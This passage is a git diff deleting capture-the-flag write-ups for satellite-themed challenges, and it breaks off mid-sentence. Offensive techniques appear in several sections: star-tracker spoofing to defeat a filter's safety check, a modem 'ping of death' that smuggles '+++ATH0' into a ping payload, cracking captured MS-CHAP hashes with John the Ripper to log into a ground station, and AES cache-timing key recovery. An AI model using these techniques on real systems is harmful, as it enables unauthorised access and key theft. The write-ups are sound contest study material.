diff --git a/writeup.org b/writeup.org deleted file mode 100644 index 42fdf6c..0000000 --- a/writeup.org +++ /dev/null @@ -1,1566 +0,0 @@ -\newpage -* Attitude Adjustment - :PROPERTIES: - :CUSTOM_ID: attitude-adjustment - :END: - -*Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA -*Points (final)*: 69 points *Solves*: 62 - -#+BEGIN_QUOTE - Our star tracker has collected a set of boresight reference vectors, - and identified which stars in the catalog they correspond to. Compare - the included catalog and the identified boresight vectors to determine - what our current attitude is. - - Note: The catalog format is unit vector (X,Y,Z) in a celestial - reference frame and the magnitude (relative brightness) -#+END_QUOTE - -*Given files*: =attitude-papa21503yankee.tar.bz2= - -** Writeup - :PROPERTIES: - :CUSTOM_ID: writeup - :END: - -by [[https://imer.in][erin (=barzamin=)]]. - -For this problem, we have two sets of N vectors which are paired; all -points in the first set are just those in the second set up to rotation; -we want to find the rotation which maps the first set onto the other -one. Since we already know which point in the observation set maps to -which vector in the catalog set, we can use the -[[https://en.wikipedia.org/wiki/Kabsch_algorithm][Kabsch algorithm]] to -find the rotation matrix (note that this is called an /orthogonal -Procrustes problem/). I'd only vaguely heard of the Kabsch algorithm -before, and in the context of bioinformatics, so I didn't immediately -identify it as a good path to the solution. Instead, I just googled -"/align two sets of vectors/", for which it's the third result. - -Since nobody has time to implement computational geometry during a ctf, -I grabbed an existing Kabsch implementation. For some reason, I didn't -notice that =scipy.spatial= has -[[https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.transform.Rotation.align_vectors.html][a -Kabsch implementation]] built in, so I used some random external -project, [[https://github.com/charnley/rmsd][=rmsd=]]. - -First, load the star catalog: - -#+BEGIN_SRC python - catalog = {} - with open('./attitude-papa21503yankee/test.txt') as f: - i = 0 - for line in f: - [x, y, z, m] = [float(s.strip()) for s in line.split(',')] - catalog[i] = {'v': np.array([x,y,z]), 'm':m} - i += 1 -#+END_SRC - -Set up some helpers for parsing the output of the challenge server and -solving an orientation: - -#+BEGIN_SRC python - def parse_stars(stardata): - stars = {} - for line in stardata.strip().split('\n'): - line = line.strip() - star_id = int(line.split(':')[0].strip()) - direction = np.array([float(x) for x in line.split(':')[1].split(',\t')]) - stars[star_id] = direction - return stars - - def solve_orientation(stars, catalog): - P = np.vstack(list(stars.values())) - Q = np.vstack([catalog[i]['v'] for i in stars.keys()]) - print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q))) - rotation_mtx = calculate_rmsd.kabsch(P, Q) - rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx)) - return rotation -#+END_SRC - -Note that I threw in an inversion of the rotation matrix; this is -because I should've been aligning from the catalog /to/ the current star -locations. Switching P to be the catalog and Q to be stars would've done -the same thing. - -Then we just grabbed each challenge from the computer, aligned the sets, -and spat the orientation of the satellite back at the server: - -#+BEGIN_SRC python - TICKET = 'THE_TICKET' - r = tubes.remote.remote('attitude.satellitesabove.me', 5012) - r.send(TICKET+'\n') - time.sleep(0.5) - for _ in range(20): - r.recvuntil(b'--------------------------------------------------\n', drop=True) - stars = parse_stars(r.recv().decode()) - rotation = solve_orientation(stars, catalog) - r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n') - time.sleep(0.1) - print(r.clean()) -#+END_SRC - -The flag should get printed out on stdout by the final line. - -*** Full code - :PROPERTIES: - :CUSTOM_ID: full-code - :END: - -#+BEGIN_SRC python - import numpy as np - from pwnlib import tubes - import time - import matplotlib.pyplot as plt - from rmsd import calculate_rmsd - from scipy.spatial.transform import Rotation - - catalog = {} - with open('./attitude-papa21503yankee/test.txt') as f: - i = 0 - for line in f: - [x, y, z, m] = [float(s.strip()) for s in line.split(',')] - catalog[i] = {'v': np.array([x,y,z]), 'm':m} - i += 1 - - def parse_stars(stardata): - stars = {} - for line in stardata.strip().split('\n'): - line = line.strip() - star_id = int(line.split(':')[0].strip()) - direction = np.array([float(x) for x in line.split(':')[1].split(',\t')]) - stars[star_id] = direction - return stars - - def solve_orientation(stars, catalog): - P = np.vstack(list(stars.values())) - Q = np.vstack([catalog[i]['v'] for i in stars.keys()]) - print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q))) - rotation_mtx = calculate_rmsd.kabsch(P, Q) - rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx)) - return rotation - - TICKET = 'THE_TICKET' - r = tubes.remote.remote('attitude.satellitesabove.me', 5012) - r.send(TICKET+'\n') - time.sleep(0.5) - for _ in range(20): - r.recvuntil(b'--------------------------------------------------\n', drop=True) - stars = parse_stars(r.recv().decode()) - rotation = solve_orientation(stars, catalog) - r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n') - time.sleep(0.1) - print(r.clean()) -#+END_SRC - -** Resources and other writeups - :PROPERTIES: - :CUSTOM_ID: resources-and-other-writeups - :END: - -- [[https://en.wikipedia.org/wiki/Orthogonal_Procrustes_problem]] -- [[https://en.wikipedia.org/wiki/Kabsch_algorithm]] -- [[https://github.com/charnley/rmsd/tree/master]] - -\newpage -* Digital Filters, Meh - :PROPERTIES: - :CUSTOM_ID: digital-filters-meh - :END: - -*Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA -*Points (final)*: 104 points *Solves*: 37 - -#+BEGIN_QUOTE - Included is the simulation code for the attitude control loop for a - satellite in orbit. A code reviewer said I made a pretty big mistake - that could allow a star tracker to misbehave. Although my code is - flawless, I put in some checks to make sure the star tracker can't - misbehave anyways. - - Review the simulation I have running to see if a startracker can still - mess with my filter. Oh, and I'll be giving you the attitude of the - physical system as a quaternion, it would be too much work to figure - out where a star tracker is oriented from star coordinates, right? -#+END_QUOTE - -*Given files*: =src.tar.gz=. - -** Writeup - :PROPERTIES: - :CUSTOM_ID: writeup-1 - :END: - -by [[https://imer.in][erin (=barzamin=)]]. - -As part of this challenge, we're given a file =src.tar.gz= by the -scoreboard. This contains Octave code which simulates the satellite -kinetics and control loop, and, presumably, is what's running on the -challenge server. - -Digging into the main file, =challenge.m=, we note a few interesting -things. The satellite is running a Kalman filter on the gyroscope data -(velocity and acceleration) and star tracker orientation data. Near the -start of each control system iteration, there's a check on the Kalman -filter error; if greater than a threshold, the controller crashes out: - -#+BEGIN_SRC matlab - % Check error bounds - if max(abs(err)) > err_thresh - disp("Error: Estimator error too large... Goodbye"); - disp(q_est); - disp(target.q_att); - break; - endif -#+END_SRC - -Note =err_thresh= is defined upscript as - -#+BEGIN_SRC matlab - err_thresh = 1*pi/180. ; % 1 Degree error max -#+END_SRC - -Further down, we see that a PID update step on for the correction is -only run every five iterations; this is weird, but doesn't help us as -far as we could tell. Even further downscript, we see that every -iteration, a check is performed between target and actual orientations -(note that /actual orientation/ means, here, the true simulated physical -pose of the satellite): - -#+BEGIN_SRC matlab - % Check we're still safe... - [v,a] = q2rot(quat_diff(actual.q_att, target.q_att)); - if abs(v(2)*a) > (pi/8) - disp("Uh oh, better provide some information!"); - disp(getenv("FLAG")) - break; - endif -#+END_SRC - -If this check is true (ie, there's >π/8 radians of rotation error on the -Y axis), we get the flag! So the challenge here is making the satellite -think it's drifted when it hasn't, without making the Kalman filter -angry. How can we do that? - -The star filter observations are pulled right after the previous check, -with the following code: - -#+BEGIN_SRC matlab - % Get Observations - q_att = startracker(actual); -#+END_SRC - -Looking inside =startracker()=, we see that it pretty clearly indicates -that we /are/ the star tracker; every timestep, the code tells us, the -adversary, what the true physical orientation is as a quaternion. We can -act as the star tracker and send back a wxyz-format quaternion on stdin, -which it will use as the star-tracker output (note that, for some -reason, the code they give us uses space-separated floats and the actual -challenge uses comma-separated floats): - -#+BEGIN_SRC matlab - % Model must have a q_att member - - function [ q ] = startracker(model) - q = model.q_att; - disp([q.w, q.x, q.y, q.z]); - fflush(stdout); - % Get Input - q = zeros(4,1); - for i = 1:4 - q(i) = scanf("%f", "C"); - endfor - q = quaternion(q(1), q(2), q(3), q(4)); - %q.w = q.w + normrnd(0, 1e-8); - %q.x = q.x + normrnd(0, 1e-8); - %q.y = q.y + normrnd(0, 1e-8); - %q.z = q.z + normrnd(0, 1e-8); - - q = q./norm(q); - - endfunction -#+END_SRC - -Also note that in =challenge.m=, immediately after the star tracker -call, checking the return value for consistency with the physical model -is /commented out/. We can tell the satellite that it's pointing -anywhere we like and it will believe us, although Kalman error might be -bad: - -#+BEGIN_SRC matlab - %err = quat2eul(quat_diff(q_att, target.q_att))'; - %if max(abs(err)) > err_thresh - % disp("Error: No way, you are clearly lost, Star Tracker!"); - % break; - %endif -#+END_SRC - -So we control the star tracker. What can we do? - -We immediately noticed the vast count of =eul2quat()= and =quat2eul()= -calls and wasted so much time trying to get something to gimbal lock. -Turns out this problem is deceptively easy, and you don't need to do -that at all. - -We can't make the discrepancy between the true position and what the -star tracker says too great, nor make it vary quickly; the gyroscope is -reporting gaussian noise close to zero with very low variance, so any -big delta in star tracker orientation will incur error in the Kalman -filter. So what can we do? - -Turns out all we have to do hold the Y orientation constant and report -that. The satellite's true Y euler angle gradually rotates over time due -to system dynamics, accumulating controller error on the Y axis, and we -eventually get the flag. - -Hook up to the server: - -#+BEGIN_SRC python - sep = ',' - r = remote('filter.satellitesabove.me', 5014) - r.clean() - r.send('THE_TICKET') - time.sleep(0.1) -#+END_SRC - -Write a little function that pretends to be the star tracker (note: -=lie= was determined by playing with the local simulator a bunch): - -#+BEGIN_SRC python - def adversary(true_pose): - lie = 0.25 - - euler = true_pose.as_euler('xyz') - euler[1] = lie - - return R.from_euler('xyz',euler) -#+END_SRC - -And talk to the server, pretending to be the tracker every indication, -until we see a string indicating we got the flag: - -#+BEGIN_SRC python - while True: - rl = r.readline(timeout=3) - if rl.startswith(b'Uh oh,'): - r.interactive() - log.info(f'<== [{i}] {rl}') - - [w,x,y,z] = [float(x) for x in rl.decode().strip().split()] - true_pose = R.from_quat([x,y,z,w]) - - new_pose = adversary(true_pose) - - [x,y,z,w] = new_pose.as_quat() - msg = sep.join(map(str,[w,x,y,z])) - log.info(f'==> {msg}') - r.send(msg+'\n') -#+END_SRC - -When we see that string, the script jumps to =pwnlib.tubes=' interactive -mode and we see the flag in the dumped buffer. - -*** Full code - :PROPERTIES: - :CUSTOM_ID: full-code-1 - :END: - -#+BEGIN_SRC python - import numpy as np - import matplotlib.pyplot as plt - from pwn import * - from scipy.spatial.transform import Rotation as R - import time - - q_att_ts = [] - badnesses = [] - - LOCAL = False - - if LOCAL: - sep = ' ' - r = process('octave challenge.m', shell=True) - else: - sep = ',' - r = remote('filter.satellitesabove.me', 5014) - r.clean() - r.send('THE_TICKET') - time.sleep(0.1) - - def adversary(true_pose): - lie = 0.25 - - euler = true_pose.as_euler('xyz') - euler[1] = lie - - return R.from_euler('xyz',euler) - - - for i in range(10000): - if LOCAL: - badness = float(r.readline().decode().strip()) - log.info(f'[!] badness: {badness}') - badnesses.append(badness) - - rl = r.readline(timeout=3) - if rl.startswith(b'Uh oh,'): - r.interactive() - log.info(f'<== [{i}] {rl}') - - [w,x,y,z] = [float(x) for x in rl.decode().strip().split()] - true_pose = R.from_quat([x,y,z,w]) - - new_pose = adversary(true_pose) - - [x,y,z,w] = new_pose.as_quat() - msg = sep.join(map(str,[w,x,y,z])) - log.info(f'==> {msg}') - r.send(msg+'\n') -#+END_SRC - -\newpage -* Seeing Stars - :PROPERTIES: - :CUSTOM_ID: seeing-stars - :END: - -*Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA -*Points (final)*: 23 *Solves*: 213 - -#+BEGIN_QUOTE - Here is the output from a CCD Camera from a star tracker, identify as - many stars as you can! (in image reference coordinates) Note: The - camera prints pixels in the following order (x,y): (0,0), (1,0), - (2,0)... (0,1), (1,1), (2,1)... - - Note that top left corner is (0,0) -#+END_QUOTE - -** Write-up - :PROPERTIES: - :CUSTOM_ID: write-up - :END: - -by [[https://qtp2t.club/][hazel (=arcetera=)]] - -The CCD image given by the netcat is a 128x128 matrix of comma-separated -values. - -We read the data into a NumPy array, and pass that into OpenCV. - -#+BEGIN_SRC python - data = [] - for line in rawdat.strip().split('\n'): - data.append([int(x) for x in line.split(',')]) - - x = np.array(data, dtype='uint8').T - - im = x -#+END_SRC - -We then run a filter on the data, only grabbing values in [127, 255] to -filter out data that is /obviously not/ stars. We then run two dilates -on the image post-filter, because otherwise we end up with a division by -zero on centroid finding later for =M["m00"]=. Finally, we grabbed the -contour of every object visible in the image. - -#+BEGIN_SRC python - ret, thresh = cv2.threshold(im.copy(), 127, 255, 0) - kernel = np.ones((5, 5), np.uint8) - dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2) - - cnts, hier = cv2.findContours(dilated.copy(), \ - cv2.RETR_TREE, \ - cv2.CHAIN_APPROX_NONE) -#+END_SRC - -For each contour, we grabbed its centroid: - -#+BEGIN_SRC python - solve = '' - for c in cnts: - M = cv2.moments(c) - cX = int(M["m10"] / M["m00"]) - cY = int(M["m01"] / M["m00"]) - - solve += (str(cX) + "," + str(cY)+'\n') - return solve -#+END_SRC - -We then automated this entire process using pwnlib to connect to the -server and read the data. - -*** Full code - :PROPERTIES: - :CUSTOM_ID: full-code-2 - :END: - -#+BEGIN_SRC python - #!/usr/bin/env python3 - import cv2 - import math - import numpy as np - from pwnlib import tubes - import time - - def solve(rawdat): - data = [] - for line in rawdat.strip().split('\n'): - data.append([int(x) for x in line.split(',')]) - - x = np.array(data, dtype='uint8').T - - im = x # cv2.imread("output.png", cv2.IMREAD_GRAYSCALE) - ret, thresh = cv2.threshold(im.copy(), 127, 255, 0) - kernel = np.ones((5, 5), np.uint8) - dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2) - - cnts, hier = cv2.findContours(dilated.copy(), \ - cv2.RETR_TREE, \ - cv2.CHAIN_APPROX_NONE) - - edit = thresh.copy() - cv2.drawContours(edit, cnts, -1, (0, 255, 0), 3) - - solve = '' - for c in cnts: - M = cv2.moments(c) - cX = int(M["m10"] / M["m00"]) - cY = int(M["m01"] / M["m00"]) - - solve += (str(cX) + "," + str(cY)+'\n') - return solve - - TICKET = 'THE_TICKET' - r = tubes.remote.remote('stars.satellitesabove.me', 5013) - r.recvline() - r.send(TICKET+'\n') - going = True - while going: - rawdat = r.recvuntil('Enter', drop=True) - time.sleep(0.5) - r.clean() - solution = solve(rawdat.decode()) - r.send(solution+'\n') - time.sleep(0.1) - if r.recvuntil('Left...\n') == b'0 Left...\n': - time.sleep(0.1) - print(r.clean()) -#+END_SRC - -Run it, and the flag should be printed as a bytestring. - -** Resources and other writeups - :PROPERTIES: - :CUSTOM_ID: resources-and-other-writeups-1 - :END: - -- [[https://docs.opencv.org/trunk/d9/d61/tutorial_py_morphological_ops.html]] -- [[https://docs.opencv.org/trunk/dd/d49/tutorial_py_contour_features.html]] - -\newpage -* 56K Flex Magic - :PROPERTIES: - :CUSTOM_ID: k-flex-magic - :END: - -*Category:* Communication Systems *Points (final):* 205 *Solves:* 13 - -#+BEGIN_QUOTE - Anyone out there speak modem anymore? We were able to listen in to on, - maybe you can ask it for a flag... - - UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the - ground station is expected behavior. -#+END_QUOTE - -** Write-up - :PROPERTIES: - :CUSTOM_ID: write-up-1 - :END: - -by [[https://awoo.systems][haskal]] - -An audio file is included that contains a session where a number is -dialed, and then some modem data is exchanged (it's a very distinctive -sound). Additionally, there is a note included with the following text. - -#+BEGIN_EXAMPLE - ---=== MY SERVER ===--- - Phone #: 275-555-0143 - Username: hax - Password: hunter2 - - * Modem implements a (very small) subset of 'Basic' commands as - described in the ITU-T V.250 spec (Table I.2) - - ---=== THEIR SERVER ===--- - - Ground station IP: 93.184.216.34 - Ground station Phone #: 458-XXX-XXXX ...? - Username: ? - Password: ? - - * They use the same model of modem as mine... could use +++ATH0 - ping of death - * It'll have an interactive login similar to my server - * Their official password policy: minimum requirements of - FIPS112 (probably just numeric) - * TL;DR - section 4.1.1 of 'NBS Special Publication 500-137' -#+END_EXAMPLE - -ITU-T V.250 is essentially a formalization of the -[[https://en.wikipedia.org/wiki/Hayes_command_set][Hayes command set]], -so we can use basic Hayes commands to interact with our local modem, -such as - -#+BEGIN_EXAMPLE - ATDTXXXXXXXXXX - dial number XXX... - ATH0 - hang up - +++ - get the local modem's attention while in a remote session -#+END_EXAMPLE - -The first step is to try to get information about the ground station -server. We can decode the dial tones from the audio file, which are -[[https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling][DTMF]] -tones. Once decoded we obtain a phone number for the ground station of -=458-555-0142=. However dialing this number results in an error - -=BUSY=. Presumably, the ground station is already dialed into somewhere, -and we need to disconnect it. - -The "ping of death" refers to injecting a modem command into a packet -sent to a remote server in order to cause the server's modem to -interpret a hang up command contained in the packet. This can be -achieved by pinging with the data =+++ATH0=, because as the server -replies to the ping with the same data, its local modem will interpret -the command inside the ping. But we need to escape it with hex to avoid -having our local modem hang up instead. Once in the session, we dial the -number in the text file to get an initial shell session - -#+BEGIN_EXAMPLE - ATDT2755550143 -#+END_EXAMPLE - -Next, issue a ping of death to the provided server IP - -#+BEGIN_SRC sh - ping -v 0x2b2b2b415448290d 93.184.216.34 -#+END_SRC - -Now the ground station should be disconnected so it is available for us -to dial. - -#+BEGIN_EXAMPLE - +++ATH0 - ATDT45845550142 -#+END_EXAMPLE - -We get a login prompt for SATNET - -#+BEGIN_EXAMPLE - * * . * * * . * * . * * . - . * * . * . . * . * - * +------------------------------+ - . | SATNET | * - +------------------------------+ . - . | UNAUTHORIZED ACCESS IS | - | STRICTLY PROHIBITED | - . +------------------------------+ . - . . - . - - Setting up - this will take a while... - - LOGIN - Username: -#+END_EXAMPLE - -However we still need the username and password. Maybe the provided -audio file has the credentials somewhere in the dialup modem exchange. -By analyzing the spectrum in Audacity (or any analyzer of choice) we -discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. -This is consistent with the -[[https://www.itu.int/rec/T-REC-V.21-198811-I/en][ITU V.21 standard]] -which uses dual-channel Frequency Shift Keying at 300 bits/second. We -can use [[https://github.com/kamalmostafa/minimodem][minimodem]] to -decode the modem traffic. We can provide the two FSK frequencies (the -"mark" and "space", representing each bit of the data) for channel 1 and -then for channel 2 to get both sides of the exchange. We also need to -provide the bit rate. - -#+BEGIN_SRC sh - minimodem -8 -S 980 -M 1180 -f recording.wav 300 - minimodem -8 -S 1650 -M 1850 -f recording.wav 300 -#+END_SRC - -This data looks like garbage but it contains some strings, notably -=rocketman2674=. We assume from the notes file that the password is a -4-digit number, but trying the username =rocketman= and password =2674= -didn't work. We need to look closer. This is the beginning of one side -of the exchange in hex: - -#+BEGIN_EXAMPLE - 00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22 ~.}#.!}!} } }4}" - 00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5 }&} } } } }%}&(. - 00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d L!}'}"}(}"..~~.} - 00000030: 23c0 217d 217d 217d 207d 347d 227d 267d #.!}!}!} }4}"}&} - 00000040: 207d 207d 207d 207d 257d 2628 e54c 217d } } } }%}&(.L!} -#+END_EXAMPLE - -It starts with =7eff=, which is characteristic of -[[https://en.wikipedia.org/wiki/Point-to-Point_Protocol][Point-to-Point -Protocol]]. We can decode the packets with -[[https://github.com/secdev/scapy][scapy]], a framework for network -protocol analysis. However, first we have to de-frame the PPP frames -since there doesn't seem to be a tool for this automatically. There are -two main tasks, first split up the frames by the =7e= delimiters, and -then remove the byte stuffing within the frame, since PPP will escape -certain bytes with the =7d= prefix followed by the byte XOR =0x20=. -Finally, the frame can be passed to scapy for analysis. This is a VERY -lax de-framer because sometimes frames seemed to not be started or -terminated properly. - -#+BEGIN_SRC python - def decode(ch): - buf2 = b"" - esc = False - - for x in ch: - if x == 0x7e: - if buf2 != b"\xFF" and buf2 != b"": - PPP(buf2).show() - buf2 = b"" - esc = False - elif esc: - esc = False - buf2 += bytes([x^0x20]) - elif x == 0x7d: - esc = True - else: - buf2 += bytes([x]) - - if len(buf2) > 0: - PPP(buf2).show() -#+END_SRC - -(This code is really awful CTF code, please ignore the 200 awful -spaghetti things I'm doing in this snippet.) - -Now we can see what the packets mean. In particular, we spot these ones: - -#+BEGIN_EXAMPLE - ###[ HDLC ]### - address = 0xff - control = 0x3 - ###[ PPP Link Layer ]### - proto = Link Control Protocol - ###[ PPP Link Control Protocol ]### - code = Configure-Ack - id = 0x2 - len = 28 - \options \ - ..... - |###[ PPP LCP Option ]### - | type = Authentication-protocol - | len = 5 - | auth_protocol= Challenge-response authentication protocol - | algorithm = MS-CHAP - ..... - - ###[ PPP Link Layer ]### - proto = Challenge Handshake Authentication Protocol - ###[ PPP Challenge Handshake Authentication Protocol ]### - code = Response - id = 0x0 - len = 67 - value_size= 49 - value = 0000000000000000000000000000000000000000000000006c2e3af0f2f7760 - 2e9831310b56924f3428b05ad60c7a2b401 - optional_name= 'rocketman2674' -#+END_EXAMPLE - -and - -#+BEGIN_EXAMPLE - ###[ PPP Link Layer ]### - proto = Challenge Handshake Authentication Protocol - ###[ PPP Challenge Handshake Authentication Protocol ]### - code = Challenge - id = 0x0 - len = 26 - value_size= 8 - value = 12810ab88c7f1c74 - optional_name= 'GRNDSTTNA8F6C' - - ###[ PPP Link Layer ]### - proto = Challenge Handshake Authentication Protocol - ###[ PPP Challenge Handshake Authentication Protocol ]### - code = Success - id = 0x0 - len = 4 - data = '' -#+END_EXAMPLE - -We can see in this exchange that the client has negotiated =MS-CHAP= -authentication and then authenticates to the server successfully. -MS-CHAP uses NetNTLMv1 hashes, which can be cracked very easily. We just -need the username (=rocketman2674=), the "challenge" which is used as a -salt for the hash, and the hash itself. The format of the response in -MS-CHAP (according to RFC2433) is 49 bytes, including 24 bytes of stuff -we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We -can now convert the data into a -[[https://www.openwall.com/john/][John-the-Ripper]] compatible hash like - -#+BEGIN_EXAMPLE - username:$NETNTLM$challenge$hash - - rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4 -#+END_EXAMPLE - -Technically, you can use hashcat as well but I didn't want to bother -with the hashcat flags. Put this hash in a text file and run -=john file.txt=. No need to specify 4 digit pins because john will -complete in literal seconds anyway. - -#+BEGIN_EXAMPLE - Proceeding with incremental:ASCII - 9435 (rocketman2674) - 1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4 - Use the "--show --format=netntlm" options to display all of the cracked passwords reliably - Session completed -#+END_EXAMPLE - -Use =rocketman2674= with password =9435= to log in to the ground -station, then execute the =flag= command to get the flag. - -** Resources and other writeups - :PROPERTIES: - :CUSTOM_ID: resources-and-other-writeups-2 - :END: - -- [[https://en.wikipedia.org/wiki/Hayes_command_set]] -- [[https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling]] -- [[https://github.com/kamalmostafa/minimodem]] -- [[https://en.wikipedia.org/wiki/Point-to-Point_Protocol]] -- [[https://tools.ietf.org/html/rfc2433]] -- [[https://www.openwall.com/john/]] - -\newpage -* Phasors to Stun - :PROPERTIES: - :CUSTOM_ID: phasors-to-stun - :END: - -*Category:* Ground Segment *Points (final):* 62 *Solves:* 71 - -#+BEGIN_QUOTE - Demodulate the data from an SDR capture and you will find a flag. It - is a wav file, but that doesn't mean its audio data. -#+END_QUOTE - -** Write-up - :PROPERTIES: - :CUSTOM_ID: write-up-2 - :END: - -by [[https://awoo.systems][haskal]] - -The provided WAV file contains a signal that looks like this: - -[[file:signal.png]] - -This looks suspiciously like Phase Shift Keying (PSK) and it's a very -clean signal (this is also hinted at by the challenge name). We can use -[[https://github.com/jopohl/urh][Universal Radio Hacker]] to demod this -with very little effort. - -[[file:urh1.png]] - -Select PSK modulation, then click "Autodetect parameters". Then move to -Analysis: - -[[file:urh2.png]] - -We discovered that the signal is NRZI (non-return-to-zero inverted) -coded, and after selecting this in URH the flag is decoded in the data -view. - -** Resources and other writeups - :PROPERTIES: - :CUSTOM_ID: resources-and-other-writeups-3 - :END: - -- [[https://github.com/jopohl/urh]] -- [[https://en.wikipedia.org/wiki/Phase-shift_keying]] -- [[https://en.wikipedia.org/wiki/Non-return-to-zero#NRZI]] - -\newpage -** Leaky Crypto - :PROPERTIES: - :CUSTOM_ID: leaky-crypto - :END: - -Many optimized implementations of AES utilize lookup tables to combine -all steps of each round of the algorithm (SubBytes, ShiftRows, -MixColumns, AddKey) into a single operation. For some X (the plaintext -or the result from the previous round) and some K (the round key), they -are split bytewise and the XOR product of each respective byte pair is -used as the index into a lookup table. During the first round of AES, X -is the plaintext of the message, and K is the original message key. -Accordingly, given some known plaintext, leaking the index into the -lookup table for a particular character leaks the corresponding key -byte. There are four lookup tables which are used in each iteration of -AES (besides the last round) and which is used is determined by the -index of the byte MOD 4. We utilized -[[http://www.jbonneau.com/doc/BM06-CHES-aes_cache_timing.pdf][this -paper]] as a reference for both our understanding of AES and the attack -we will detail below. - -Many CPUs cache RAM accesses so as to speed up subsequent accesses to -the same address. This is done because accessing RAM is quite slow, and -accessing cache is quite fast. This behavior would imply that on systems -which implement such caching methods, there is a correlation between the -amount of time it takes to encrypt a particular plaintext and the -occurrences of repeated values of a plaintext byte XORd with a key byte. -Accordingly, for every i, j, pi ⊕ pj in a family (with i, j being byte -indexes, p being the plaintext, and families corresponding to which -lookup table is being used), we calculate the average time to encrypt -such a message over all messages. We then determine if for any pair of -characters pi, pj there is a statistically significant shorter -encryption time compared to the average. If so, we can conclude that i ⊕ -ki = pj ⊕ kj => pi ⊕ pj = ki ⊕ kj. From this information, we gain a set -of redundant system of equations relating different key bytes at -different indexes with each other. It is important to note that in order -for this attack to work, we must know at least one key byte in each -family in order to actually solve each system of equations. -Additionally, due to how cache works, this attack only leaks the most -significant q bits (q being related to the number of items in a cache -line). Once the set of possible partial keys (accounting for the -ambiguity in the least significant bits of each derived byte) has been -obtained by the above method, an attacker may brute force the remaining -unknown key bytes. - -In the case of Leaky Crypto, a set of 100,000 plaintexts and -corresponding encryption times is provided along with the first six -bytes of the encryption key. We ran an analyzer program[^1] against -these plaintexts to obtain the probable correlation between different -indexes in the key with respect to the XOR product of those bytes with -plaintext bytes. Per the above, the plaintexts and timing data provided -enough information to derive the systems of equations which may be used -to solve for key bytes, and the first 6 bytes of the key provided enough -information to actually solve said systems of equations. Given the -ambiguity of the low bits of each derived key byte, we obtained 214 -partial keys with three unknown bytes each. Thus, we reduced the problem -of guessing 2128 bits to guessing only 238 bits. We fed our derived -partial keys into [[https://github.com/pgarba/Hulk][Hulk]] to brute -force the remaining bytes for each candidate partial key. After 30 -minutes had passed, we successfully brute forced the key. - -#+BEGIN_SRC python - from itertools import combinations - import matplotlib.pyplot as plt - import numpy as np - - def find_outliers(corpus, num_samps, i, j): - idxs = corpus[i][j].argsort()[:num_samps] - return idxs - - def guess_bytes(corpus, known_keybytes, num_samps, avg): - candidates = [] - for base in range(4): - family = [base, base + 4, base + 8, base + 12] - for combo in combinations(family, 2): - i,j = combo - guesses = find_outliers(corpus, num_samps, i, j) - guesses2 = [] - for guess in guesses: - cnt = corpus[i][j][guess] - if cnt-avg < -10: - guesses2.append((i, j, guess, cnt-avg)) - print(i, j, guess, cnt - avg) - candidates.append(tuple(guesses2)) - print(candidates) - - if __name__ == '__main__': - known_keybytes = bytes.fromhex("64c7072487f2") - secret_data = "c1a5fe7beb2c70bfab98926627dcff8b9671edc52441....." - - data = set() - with open("test.txt", "r") as fp: - for line in fp: - pt, timing = line.strip().split(',') - pt = bytes.fromhex(pt) - timing = int(timing) - data.add((pt, timing)) - - tavg = sum((d[1] for d in data)) / len(data) - print("tavg: %d" % tavg) - - known_tly = np.zeros((16, 16, 256)) - - for base in range(4): - print("Building corpus for family %d" % base) - family = [base, base + 4, base + 8, base + 12] - for combo in combinations(family, 2): - times = np.zeros(256) - counts = np.zeros(256) - i,j = combo - print("Working on %d, %d" % (i, j)) - for d in data: - n = d[0][i] ^ d[0][j] - c = d[1] - times[n] += c - counts[n] += 1 - for c in range(256): - cnorm = times[c] / counts[c] - known_tly[i][j][c] = cnorm - known_tly[j][i][c] = cnorm - - guess_bytes(known_tly, known_keybytes, 4, tavg) -#+END_SRC - -\newpage -* Bytes Away! - :PROPERTIES: - :CUSTOM_ID: bytes-away - :END: - -*Category:* Satellite Bus *Points (final):* 223 *Solves:* 11 - -#+BEGIN_QUOTE - We have an encrypted telemetry link from one of our satellites but we - seem to have lost the encryption key. Thankfully we can still send - unencrypted commands using our Cosmos interface (included). I've also - included the last version of kit_to.so that was updated to the - satellite. Can you help us restore communication with the satellite so - we can see what error "flag" is being transmitted? -#+END_QUOTE - -** Write-up - :PROPERTIES: - :CUSTOM_ID: write-up-3 - :END: - -by [[https://awoo.systems][haskal]] - -Two files are provided for this challenge, one contains the =kit_to.so= -and the other contains a full [[https://cosmosrb.com/][COSMOS]] -directory tree for accessing the virtual satellite, which can be booted -up with the provided netcat endpoint. COSMOS is an open-source command -and control framework for satellites using -[[https://cfs.gsfc.nasa.gov/][NASA's Core Flight System]]. The provided -COSMOS directory contains everything we need to interact with the -virtual satellite, and the =kit_to.so= is part of the code that runs -onboard the actual satellite. Booting up COSMOS is enormously -complicated, so Docker can be used to automate the setup. We adapted the -Ball Aerospace COSMOS Docker image, and created a script to configure -COSMOS to connect to the CTF's satellite instance automatically by -writing the configuration file at -=cosmos/config/tools/cmd_tlm_server/cmd_tlm_server.txt=. When COSMOS is -successfully connected to the CTF instance it looks like this (no themes -were installed in the Docker container so it looks like Windows 95, I'm -so sorry,) - -[[file:COSMOS.png]] - -COSMOS can be used to send commands with the Command Sender, and we can -send for example a command for ENABLE_TELEMETRY, which causes the 